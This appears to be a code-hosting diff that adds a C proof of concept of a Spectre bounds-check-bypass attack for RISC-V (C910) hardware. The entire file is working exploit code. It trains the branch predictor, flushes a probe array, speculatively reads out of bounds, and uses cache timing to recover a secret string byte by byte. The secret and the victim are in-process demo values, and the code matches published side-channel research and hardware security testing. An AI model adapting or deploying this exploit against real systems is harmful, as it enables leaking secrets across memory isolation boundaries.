|
| 1 | +#define C910 |
| 2 | + |
| 3 | +#include <stdio.h> |
| 4 | +#include <string.h> |
| 5 | +#include <time.h> |
| 6 | +#include <assert.h> |
| 7 | +#include <stdint.h> |
| 8 | +#include <stdlib.h> |
| 9 | +#include "../rlibsc.h" |
| 10 | + |
| 11 | +#define BENIGN_SIZE 50 |
| 12 | + |
| 13 | +#define SECRET "Spectre on RISC-V hardware!" |
| 14 | +#define SECRET_SIZE (sizeof(SECRET) - 1) |
| 15 | +#define CACHE_HIT_THRESHOLD 120 |
| 16 | + |
| 17 | +#define PAGE_SIZE 2048 |
| 18 | +#define PROBE_SIZE (256 * PAGE_SIZE) |
| 19 | +#define CACHE_LINE_SIZE 64 |
| 20 | + |
| 21 | +int buf_size = BENIGN_SIZE; |
| 22 | +uint8_t cache_barrier1[512] = {0}; |
| 23 | +// init with values as this prevents nasty reordering |
| 24 | +char victim[BENIGN_SIZE] = {1,2,3,4,5}; |
| 25 | +uint8_t cache_barrier2[512] = {0}; |
| 26 | +char probe_array[PROBE_SIZE]; |
| 27 | +uint8_t cache_barrier3[512]; |
| 28 | +char secret_data[SECRET_SIZE]; |
| 29 | + |
| 30 | + |
| 31 | +void init() { |
| 32 | + srandom(time(NULL)); |
| 33 | + for (int i = 0; i < PROBE_SIZE; i++) { |
| 34 | + probe_array[i] = (char) random(); |
| 35 | + } |
| 36 | + strncpy(victim, "THIS_IS_BENIGN_CONTENT!", BENIGN_SIZE); |
| 37 | + strncpy(secret_data, SECRET, SECRET_SIZE); |
| 38 | + |
| 39 | + // prevent optimizing of cache barriers |
| 40 | + printf("%s", cache_barrier1); |
| 41 | + printf("%s", cache_barrier2); |
| 42 | + printf("%s", cache_barrier3); |
| 43 | +} |
| 44 | + |
| 45 | +char read_content(int idx) { |
| 46 | + if (idx >= 0 && idx < buf_size) { |
| 47 | + int tmp = victim[idx]; |
| 48 | + return probe_array[tmp << 11]; |
| 49 | + } else |
| 50 | + return 0; |
| 51 | +} |
| 52 | + |
| 53 | + |
| 54 | +int leak_byte(int offset, char* leak) { |
| 55 | + // assert that we actually need to access out-of-bound that |
| 56 | + //printf("got offset: %d\n", offset); |
| 57 | + assert(offset > 0 && offset > buf_size); |
| 58 | + int junk = 1337; |
| 59 | + |
| 60 | + int hits[256] = {0}; |
| 61 | + |
| 62 | + for (int j = 0; j < 150; j++) { |
| 63 | + // train by accessing in-bound |
| 64 | + for (int i = 50; i > 0; i--) { |
| 65 | + junk ^= read_content(0); |
| 66 | + } |
| 67 | + |
| 68 | + // flush probe array from cache |
| 69 | + for (int i = 0; i < PROBE_SIZE; i += CACHE_LINE_SIZE) { |
| 70 | + flush(probe_array + i); |
| 71 | + } |
| 72 | + |
| 73 | + |
| 74 | + fence(); |
| 75 | + int x; |
| 76 | + int training_x = random() % BENIGN_SIZE; |
| 77 | + int malicious_x = offset; |
| 78 | + // access pattern: 5 training runs and 1 out-of-bound access |
| 79 | + for (int i = 0; i < 1; i++) { |
| 80 | + flush(&buf_size); |
| 81 | + fence(); |
| 82 | + // bit magic to prevent using a conditional jump |
| 83 | + x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ |
| 84 | + x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ |
| 85 | + x = training_x ^ (x & (malicious_x ^ training_x)); |
| 86 | + junk ^= read_content(x); |
| 87 | + } |
| 88 | + |
| 89 | + unsigned int junk2 = 0; |
| 90 | + unsigned long long int before, after; |
| 91 | + unsigned long long int elapsed[256] = {0}; |
| 92 | + int idx; |
| 93 | + for (int i = 0; i < 256; i++) { |
| 94 | + idx = (i * 167 + 13) & 255; |
| 95 | + before = rdcycle(&junk2); |
| 96 | + junk += probe_array[idx * PAGE_SIZE]; |
| 97 | + after = rdcycle(&junk2); |
| 98 | + elapsed[idx] = after - before; |
| 99 | + if (elapsed[idx] < CACHE_HIT_THRESHOLD && idx != training_x) { |
| 100 | + hits[idx]++; |
| 101 | + //printf("got hit for %c\n", idx); |
| 102 | + } |
| 103 | + } |
| 104 | + } |
| 105 | + |
| 106 | + char best_char = 0; |
| 107 | + int best_count = 0; |
| 108 | + for (int i = 30; i < 127; i++) { |
| 109 | + if (hits[i] > best_count) { |
| 110 | + best_char = i; |
| 111 | + best_count = hits[i]; |
| 112 | + } |
| 113 | + } |
| 114 | + printf("i: 0x%x \t c: %4c \t hit-count: %5d\n", best_char, |
| 115 | + best_char, best_count); |
| 116 | + *leak = best_char; |
| 117 | + return junk; |
| 118 | +} |
| 119 | + |
| 120 | +#define NO_BYTES_TO_LEAK SECRET_SIZE |
| 121 | + |
| 122 | +int main() { |
| 123 | + init(); |
| 124 | + int junk = 0; |
| 125 | + char leaked[NO_BYTES_TO_LEAK + 1] = {0}; |
| 126 | + for (int i = 0; i < NO_BYTES_TO_LEAK; i++) { |
| 127 | + char curr_leak; |
| 128 | + junk ^= leak_byte(secret_data - victim + i, &curr_leak); |
| 129 | + leaked[i] = curr_leak; |
| 130 | + printf("curr leak: %s\n", leaked); |
| 131 | + } |
| 132 | + return junk; |
| 133 | +} |
0 commit comments